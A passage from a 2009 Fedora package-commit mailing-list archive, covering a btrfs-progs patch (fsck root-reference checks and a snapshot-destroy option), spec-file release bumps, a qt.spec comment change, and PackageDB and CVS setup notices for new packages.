+				continue;
+			fprintf(stderr, "\tunresolved ref root %llu dir %llu"
+				" index %llu namelen %u name %s error %x\n",
+				(unsigned long long)backref->ref_root,
+				(unsigned long long)backref->dir,
+				(unsigned long long)backref->index,
+				backref->namelen, backref->name,
+				backref->errors);
+		}
+	}
+	return errors > 0 ? 1 : 0;
+}
+
+static int process_root_ref(struct extent_buffer *eb, int slot,
+			    struct btrfs_key *key,
+			    struct cache_tree *root_cache)
+{
+	u64 dirid;
+	u64 index;
+	u32 len;
+	u32 name_len;
+	struct btrfs_root_ref *ref;
+	char namebuf[BTRFS_NAME_LEN];
+	int error;
+
+	ref = btrfs_item_ptr(eb, slot, struct btrfs_root_ref);
+
+	dirid = btrfs_root_ref_dirid(eb, ref);
+	index = btrfs_root_ref_sequence(eb, ref);
+	name_len = btrfs_root_ref_name_len(eb, ref);
+
+	if (name_len <= BTRFS_NAME_LEN) {
+		len = name_len;
+		error = 0;
+	} else {
+		len = BTRFS_NAME_LEN;
+		error = REF_ERR_NAME_TOO_LONG;
+	}
+	read_extent_buffer(eb, namebuf, (unsigned long)(ref + 1), len);
+
+	if (key->type == BTRFS_ROOT_REF_KEY) {
+		add_root_backref(root_cache, key->offset, key->objectid, dirid,
+				 index, namebuf, len, key->type, error);
+	} else {
+		add_root_backref(root_cache, key->objectid, key->offset, dirid,
+				 index, namebuf, len, key->type, error);
+	}
+	return 0;
+}
+
 static int check_fs_root(struct btrfs_root *root,
+			 struct cache_tree *root_cache,
 			 struct walk_control *wc)
 {
 	int ret = 0;
@@ -1219,10 +1573,18 @@ static int check_fs_root(struct btrfs_root *root,
 	int level;
 	struct btrfs_path path;
 	struct shared_node root_node;
+	struct root_record *rec;
 	struct btrfs_root_item *root_item = &root->root_item;
 
+	if (root->root_key.objectid != BTRFS_TREE_RELOC_OBJECTID) {
+		rec = get_root_rec(root_cache, root->root_key.objectid);
+		if (btrfs_root_refs(root_item) > 0)
+			rec->found_root_item = 1;
+	}
+
 	btrfs_init_path(&path);
 	memset(&root_node, 0, sizeof(root_node));
+	cache_tree_init(&root_node.root_cache);
 	cache_tree_init(&root_node.inode_cache);
 
 	level = btrfs_header_level(root->node);
@@ -1266,6 +1628,8 @@ static int check_fs_root(struct btrfs_root *root,
 	}
 	btrfs_release_path(root, &path);
 
+	merge_root_recs(root, &root_node.root_cache, root_cache);
+
 	if (root_node.current) {
 		root_node.current->checked = 1;
 		maybe_free_inode_rec(&root_node.inode_cache,
@@ -1280,13 +1644,15 @@ static int fs_root_objectid(u64 objectid)
 {
 	if (objectid == BTRFS_FS_TREE_OBJECTID ||
 	    objectid == BTRFS_TREE_RELOC_OBJECTID ||
+	    objectid == BTRFS_DATA_RELOC_TREE_OBJECTID ||
 	    (objectid >= BTRFS_FIRST_FREE_OBJECTID &&
-	     objectid < BTRFS_LAST_FREE_OBJECTID))
+	     objectid <= BTRFS_LAST_FREE_OBJECTID))
 		return 1;
 	return 0;
 }
 
-static int check_fs_roots(struct btrfs_root *root)
+static int check_fs_roots(struct btrfs_root *root,
+			  struct cache_tree *root_cache)
 {
 	struct btrfs_path path;
 	struct btrfs_key key;
@@ -1319,10 +1685,14 @@ static int check_fs_roots(struct btrfs_root *root)
 		    fs_root_objectid(key.objectid)) {
 			tmp_root = btrfs_read_fs_root_no_cache(root->fs_info,
 							       &key);
-			ret = check_fs_root(tmp_root, &wc);
+			ret = check_fs_root(tmp_root, root_cache, &wc);
 			if (ret)
 				err = 1;
 			btrfs_free_fs_root(root->fs_info, tmp_root);
+		} else if (key.type == BTRFS_ROOT_REF_KEY ||
+			   key.type == BTRFS_ROOT_BACKREF_KEY) {
+			process_root_ref(leaf, path.slots[0], &key,
+					 root_cache);
 		}
 		path.slots[0]++;
 	}
@@ -1895,7 +2265,6 @@ static int add_data_backref(struct cache_tree *extent_cache, u64 bytenr,
 	return 0;
 }
 
-
 static int add_pending(struct cache_tree *pending,
 		       struct cache_tree *seen, u64 bytenr, u32 size)
 {
@@ -2443,6 +2812,7 @@ static void print_usage(void)
 
 int main(int ac, char **av)
 {
+	struct cache_tree root_cache;
 	struct btrfs_root *root;
 	int ret;
 
@@ -2450,6 +2820,7 @@ int main(int ac, char **av)
 		print_usage();
 
 	radix_tree_init();
+	cache_tree_init(&root_cache);
 	root = open_ctree(av[1], 0, 0);
 
 	if (root == NULL)
@@ -2458,10 +2829,15 @@ int main(int ac, char **av)
 	ret = check_extents(root);
 	if (ret)
 		goto out;
-	ret = check_fs_roots(root);
+	ret = check_fs_roots(root, &root_cache);
+	if (ret)
+		goto out;
 
+	ret = check_root_refs(root, &root_cache);
 out:
+	free_root_recs(&root_cache);
 	close_ctree(root);
+
 	if (found_old_backref) {
 		/*
 		 * there was a disk format change when mixed
diff --git a/btrfsctl.c b/btrfsctl.c
index b323818..66c4e89 100644
--- a/btrfsctl.c
+++ b/btrfsctl.c
@@ -46,7 +46,7 @@ static inline int ioctl(int fd, int define, void *arg) { return 0; }
 static void print_usage(void)
 {
 	printf("usage: btrfsctl [ -d file|dir] [ -s snap_name subvol|tree ]\n");
-	printf("                [-r size] [-A device] [-a] [-c]\n");
+	printf("                [-r size] [-A device] [-a] [-c] [-D dir .]\n");
 	printf("\t-d filename: defragments one file\n");
 	printf("\t-d directory: defragments the entire Btree\n");
 	printf("\t-s snap_name dir: creates a new snapshot of dir\n");
@@ -55,6 +55,7 @@ static void print_usage(void)
 	printf("\t-A device: scans the device file for a Btrfs filesystem\n");
 	printf("\t-a: scans all devices for Btrfs filesystems\n");
 	printf("\t-c: forces a single FS sync\n");
+	printf("\t-D: delete snapshot\n");
 	printf("%s\n", BTRFS_BUILD_VERSION);
 	exit(1);
 }
@@ -158,6 +159,18 @@ int main(int ac, char **av)
 				print_usage();
 			}
 			command = BTRFS_IOC_DEFRAG;
+		} else if (strcmp(av[i], "-D") == 0) {
+			if (i >= ac - 1) {
+				fprintf(stderr, "-D requires an arg\n");
+				print_usage();
+			}
+			command = BTRFS_IOC_SNAP_DESTROY;
+			name = av[i + 1];
+			len = strlen(name);
+			if (len == 0 || len >= BTRFS_VOL_NAME_MAX) {
+				fprintf(stderr, "-D size too long\n");
+				exit(1);
+			}
 		} else if (strcmp(av[i], "-A") == 0) {
 			if (i >= ac - 1) {
 				fprintf(stderr, "-A requires an arg\n");
diff --git a/convert.c b/convert.c
index d2c9efa..d037c98 100644
--- a/convert.c
+++ b/convert.c
@@ -370,7 +370,6 @@ static int record_file_extent(struct btrfs_trans_handle *trans,
 	struct btrfs_extent_item *ei;
 	u32 blocksize = root->sectorsize;
 	u64 nbytes;
-	u64 bytes_used;
 
 	if (disk_bytenr == 0) {
 		ret = btrfs_insert_file_extent(trans, root, objectid,
@@ -432,9 +431,6 @@ static int record_file_extent(struct btrfs_trans_handle *trans,
 	nbytes = btrfs_stack_inode_nbytes(inode) + num_bytes;
 	btrfs_set_stack_inode_nbytes(inode, nbytes);
 
-	bytes_used = btrfs_root_used(&root->root_item);
-	btrfs_set_root_used(&root->root_item, bytes_used + num_bytes);
-
 	btrfs_release_path(root, &path);
 
 	ins_key.objectid = disk_bytenr;
@@ -454,9 +450,6 @@ static int record_file_extent(struct btrfs_trans_handle *trans,
 
 		btrfs_mark_buffer_dirty(leaf);
 
-		bytes_used = btrfs_super_bytes_used(&info->super_copy);
-		btrfs_set_super_bytes_used(&info->super_copy, bytes_used +
-					   num_bytes);
 		ret = btrfs_update_block_group(trans, root, disk_bytenr,
 					       num_bytes, 1, 0);
 		if (ret)
diff --git a/ioctl.h b/ioctl.h
index a084f33..4410ac0 100644
--- a/ioctl.h
+++ b/ioctl.h
@@ -56,4 +56,7 @@ struct btrfs_ioctl_vol_args {
 /* 13 is for CLONE_RANGE */
 #define BTRFS_IOC_SUBVOL_CREATE _IOW(BTRFS_IOCTL_MAGIC, 14, \
 				   struct btrfs_ioctl_vol_args)
+
+#define BTRFS_IOC_SNAP_DESTROY _IOW(BTRFS_IOCTL_MAGIC, 15, \
+				   struct btrfs_ioctl_vol_args)
 #endif


Index: btrfs-progs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/btrfs-progs/F-12/btrfs-progs.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- btrfs-progs.spec	25 Aug 2009 21:46:35 -0000	1.19
+++ btrfs-progs.spec	19 Oct 2009 15:44:05 -0000	1.20
@@ -1,6 +1,6 @@
 Name:           btrfs-progs
 Version:        0.19
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Userspace programs for btrfs
 
 Group:          System Environment/Base
@@ -10,6 +10,7 @@ Source0:        http://www.kernel.org/pu
 Patch0: btrfs-progs-fix-labels.patch
 Patch1: btrfs-progs-build-everything.patch
 Patch2: btrfs-progs-valgrind.patch
+Patch3: btrfs-progs-upstream.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  e2fsprogs-devel, libuuid-devel, zlib-devel, libacl-devel
@@ -25,6 +26,7 @@ check, modify and correct any inconsiste
 %patch0 -p1
 %patch1 -p1
 %patch2 -p1
+%patch3 -p1
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS" %{?_smp_mflags}
@@ -56,6 +58,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man8/mkfs.btrfs.8.gz
 
 %changelog
+* Mon Oct 19 2009 Josef Bacik <josef at toxicpanda.com> 0.19-8
+- bring btrfs-progs uptodate with upstream, adds destroy ioctl and fixes
+  converter
+
 * Tue Aug 25 2009 Josef Bacik <josef at toxicpanda.com> 0.19-7
 - add btrfs-progs-valgrind.patch to fix memory leaks and segfaults
 



From rdieter at fedoraproject.org  Mon Oct 19 15:46:22 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 15:46:22 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.348,1.349
Message-ID: <20091019154622.E195411C00DC@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8521

Modified Files:
	qt.spec 
Log Message:
comment about Phonon symlink needed by qtscriptgenerator



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.348
retrieving revision 1.349
diff -u -p -r1.348 -r1.349
--- qt.spec	17 Oct 2009 00:26:58 -0000	1.348
+++ qt.spec	19 Oct 2009 15:46:22 -0000	1.349
@@ -661,7 +661,7 @@ mkdir %{buildroot}%{_qt4_plugindir}/styl
 
 %if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
-# This should no longer be required, but... -- Rex
+# needed by qtscriptgenerator 
 pushd %{buildroot}%{_qt4_headerdir}
 ln -s phonon Phonon
 popd



From josef at fedoraproject.org  Mon Oct 19 15:46:42 2009
From: josef at fedoraproject.org (Josef Bacik)
Date: Mon, 19 Oct 2009 15:46:42 +0000 (UTC)
Subject: rpms/btrfs-progs/F-12 btrfs-progs.spec,1.20,1.21
Message-ID: <20091019154642.CC22911C00DC@cvs1.fedora.phx.redhat.com>

Author: josef

Update of /cvs/pkgs/rpms/btrfs-progs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8601

Modified Files:
	btrfs-progs.spec 
Log Message:
- release bump because I messed up the tagging



Index: btrfs-progs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/btrfs-progs/F-12/btrfs-progs.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- btrfs-progs.spec	19 Oct 2009 15:44:05 -0000	1.20
+++ btrfs-progs.spec	19 Oct 2009 15:46:41 -0000	1.21
@@ -1,6 +1,6 @@
 Name:           btrfs-progs
 Version:        0.19
-Release:        8%{?dist}
+Release:        9%{?dist}
 Summary:        Userspace programs for btrfs
 
 Group:          System Environment/Base
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man8/mkfs.btrfs.8.gz
 
 %changelog
+* Mon Oct 19 2009 Josef Bacik <josef at toxicpanda.com> 0.19-9
+- release bump because I messed up the tagging
+
 * Mon Oct 19 2009 Josef Bacik <josef at toxicpanda.com> 0.19-8
 - bring btrfs-progs uptodate with upstream, adds destroy ioctl and fixes
   converter



From rdieter at fedoraproject.org  Mon Oct 19 15:47:59 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 15:47:59 +0000 (UTC)
Subject: rpms/qt/F-12 qt.spec,1.338,1.339
Message-ID: <20091019154759.78BD011C00DC@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8995/qt/F-12

Modified Files:
	qt.spec 
Log Message:
comment about Phonon symlink needed by qtscriptgenerator



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.338
retrieving revision 1.339
diff -u -p -r1.338 -r1.339
--- qt.spec	16 Oct 2009 08:26:03 -0000	1.338
+++ qt.spec	19 Oct 2009 15:47:59 -0000	1.339
@@ -691,7 +691,7 @@ mkdir %{buildroot}%{_qt4_plugindir}/styl
 
 %if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
-# This should no longer be required, but... -- Rex
+# needed by qtscriptgenerator
 pushd %{buildroot}%{_qt4_headerdir}
 ln -s phonon Phonon
 popd



From pkgdb at fedoraproject.org  Mon Oct 19 15:53:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:53:01 +0000
Subject: [pkgdb] callweaver (Fedora EPEL, 5) updated by kevin
Message-ID: <20091019155301.3094310F850@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for callweaver
kevin has set commit to Approved for 107427 on callweaver (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on callweaver (Fedora EPEL 5)
kevin has set build to Approved for 107427 on callweaver (Fedora EPEL 5)
kevin changed owner of callweaver in Fedora EPEL 5 to itamarjp
kevin approved watchbugzilla on callweaver (Fedora EPEL 5) for dwmw2
kevin approved watchcommits on callweaver (Fedora EPEL 5) for dwmw2
kevin approved commit on callweaver (Fedora EPEL 5) for dwmw2
kevin approved build on callweaver (Fedora EPEL 5) for dwmw2
kevin approved approveacls on callweaver (Fedora EPEL 5) for dwmw2

To make changes to this package see:
  /pkgdb/packages/name/callweaver



From pkgdb at fedoraproject.org  Mon Oct 19 15:54:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:54:10 +0000
Subject: [pkgdb] drehatlas-warender-bibliothek-fonts was added for adsllc
Message-ID: <20091019155410.6DFA210F880@bastion2.fedora.phx.redhat.com>

kevin has added Package drehatlas-warender-bibliothek-fonts with summary A Latin typeface that is decorative, surreal, and hairy
kevin has approved Package drehatlas-warender-bibliothek-fonts
kevin has added a Fedora devel branch for drehatlas-warender-bibliothek-fonts with an owner of adsllc
kevin has approved drehatlas-warender-bibliothek-fonts in Fedora devel
kevin has approved Package drehatlas-warender-bibliothek-fonts
kevin has set commit to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora devel)
kevin has set build to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-warender-bibliothek-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 15:54:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:54:12 +0000
Subject: [pkgdb] drehatlas-warender-bibliothek-fonts summary updated by kevin
Message-ID: <20091019155412.ECB6310F894@bastion2.fedora.phx.redhat.com>

kevin set package drehatlas-warender-bibliothek-fonts summary to A Latin typeface that is decorative, surreal, and hairy

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-warender-bibliothek-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 15:54:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:54:12 +0000
Subject: [pkgdb] drehatlas-warender-bibliothek-fonts (Fedora,
	10) updated by kevin
Message-ID: <20091019155412.F070910F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for drehatlas-warender-bibliothek-fonts
kevin has set commit to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 11)
kevin has set build to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 11)
kevin approved watchbugzilla on drehatlas-warender-bibliothek-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on drehatlas-warender-bibliothek-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-warender-bibliothek-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 15:54:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:54:12 +0000
Subject: [pkgdb] drehatlas-warender-bibliothek-fonts (Fedora,
	10) updated by kevin
Message-ID: <20091019155413.024A810F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for drehatlas-warender-bibliothek-fonts
kevin has set commit to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 10)
kevin has set build to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 10)
kevin approved watchbugzilla on drehatlas-warender-bibliothek-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on drehatlas-warender-bibliothek-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-warender-bibliothek-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 15:54:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:54:12 +0000
Subject: [pkgdb] drehatlas-warender-bibliothek-fonts (Fedora,
	10) updated by kevin
Message-ID: <20091019155413.2634510F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for drehatlas-warender-bibliothek-fonts
kevin has set commit to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 12)
kevin has set build to Approved for 107427 on drehatlas-warender-bibliothek-fonts (Fedora 12)
kevin approved watchbugzilla on drehatlas-warender-bibliothek-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on drehatlas-warender-bibliothek-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-warender-bibliothek-fonts



From pkgdb at fedoraproject.org  Mon Oct 19 15:54:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:54:12 +0000
Subject: [pkgdb] drehatlas-warender-bibliothek-fonts (Fedora,
	10) updated by kevin
Message-ID: <20091019155413.3CF5D10F8B7@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on drehatlas-warender-bibliothek-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on drehatlas-warender-bibliothek-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-warender-bibliothek-fonts



From kevin at fedoraproject.org  Mon Oct 19 15:54:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:54:21 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts - New directory
Message-ID: <20091019155421.15AD211C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn10845/rpms/drehatlas-warender-bibliothek-fonts

Log Message:
Directory /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:54:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:54:21 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts/devel - New directory
Message-ID: <20091019155421.3202011C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn10845/rpms/drehatlas-warender-bibliothek-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:54:28 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:54:28 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts Makefile,NONE,1.1
Message-ID: <20091019155428.2D9F411C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn10845/rpms/drehatlas-warender-bibliothek-fonts

Added Files:
	Makefile 
Log Message:
Setup of module drehatlas-warender-bibliothek-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module drehatlas-warender-bibliothek-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 15:54:28 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:54:28 +0000 (UTC)
Subject: rpms/drehatlas-warender-bibliothek-fonts/devel .cvsignore, NONE,
	1.1 Makefile, NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091019155428.61F3E11C02A1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-warender-bibliothek-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn10845/rpms/drehatlas-warender-bibliothek-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module drehatlas-warender-bibliothek-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: drehatlas-warender-bibliothek-fonts
# $Id: Makefile,v 1.1 2009/10/19 15:54:28 kevin Exp $
NAME := drehatlas-warender-bibliothek-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 15:55:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:55:47 +0000
Subject: [pkgdb] linbox summary updated by kevin
Message-ID: <20091019155547.5CD5E10F880@bastion2.fedora.phx.redhat.com>

kevin set package linbox summary to C++ Library for High-Performance Linear Algebra

To make changes to this package see:
  /pkgdb/packages/name/linbox



From pkgdb at fedoraproject.org  Mon Oct 19 15:55:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:55:46 +0000
Subject: [pkgdb] linbox was added for tomspur
Message-ID: <20091019155546.6848510F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package linbox with summary C++ Library for High-Performance Linear Algebra
kevin has approved Package linbox
kevin has added a Fedora devel branch for linbox with an owner of tomspur
kevin has approved linbox in Fedora devel
kevin has approved Package linbox
kevin has set commit to Approved for 107427 on linbox (Fedora devel)
kevin has set checkout to Approved for 107427 on linbox (Fedora devel)
kevin has set build to Approved for 107427 on linbox (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/linbox



From pkgdb at fedoraproject.org  Mon Oct 19 15:55:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:55:47 +0000
Subject: [pkgdb] linbox (Fedora, 11) updated by kevin
Message-ID: <20091019155547.6500F10F894@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for linbox
kevin has set commit to Approved for 107427 on linbox (Fedora 11)
kevin has set checkout to Approved for 107427 on linbox (Fedora 11)
kevin has set build to Approved for 107427 on linbox (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/linbox



From pkgdb at fedoraproject.org  Mon Oct 19 15:55:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:55:47 +0000
Subject: [pkgdb] linbox (Fedora, 11) updated by kevin
Message-ID: <20091019155547.6F36910F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for linbox
kevin has set commit to Approved for 107427 on linbox (Fedora 12)
kevin has set checkout to Approved for 107427 on linbox (Fedora 12)
kevin has set build to Approved for 107427 on linbox (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/linbox



From kevin at fedoraproject.org  Mon Oct 19 15:55:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:55:57 +0000 (UTC)
Subject: rpms/linbox - New directory
Message-ID: <20091019155557.137DB11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/linbox
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS11758/rpms/linbox

Log Message:
Directory /cvs/pkgs/rpms/linbox added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:55:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:55:57 +0000 (UTC)
Subject: rpms/linbox/devel - New directory
Message-ID: <20091019155557.4533311C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/linbox/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS11758/rpms/linbox/devel

Log Message:
Directory /cvs/pkgs/rpms/linbox/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:56:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:56:04 +0000 (UTC)
Subject: rpms/linbox Makefile,NONE,1.1
Message-ID: <20091019155604.57AF611C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/linbox
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS11758/rpms/linbox

Added Files:
	Makefile 
Log Message:
Setup of module linbox


--- NEW FILE Makefile ---
# Top level Makefile for module linbox
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 15:56:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:56:04 +0000 (UTC)
Subject: rpms/linbox/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091019155604.9B5F711C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/linbox/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsS11758/rpms/linbox/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module linbox


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: linbox
# $Id: Makefile,v 1.1 2009/10/19 15:56:04 kevin Exp $
NAME := linbox
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 15:56:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:56:47 +0000
Subject: [pkgdb] kmagnet was added for rrix
Message-ID: <20091019155648.0390110F80D@bastion2.fedora.phx.redhat.com>

kevin has added Package kmagnet with summary A puzzle game with built in editor
kevin has approved Package kmagnet
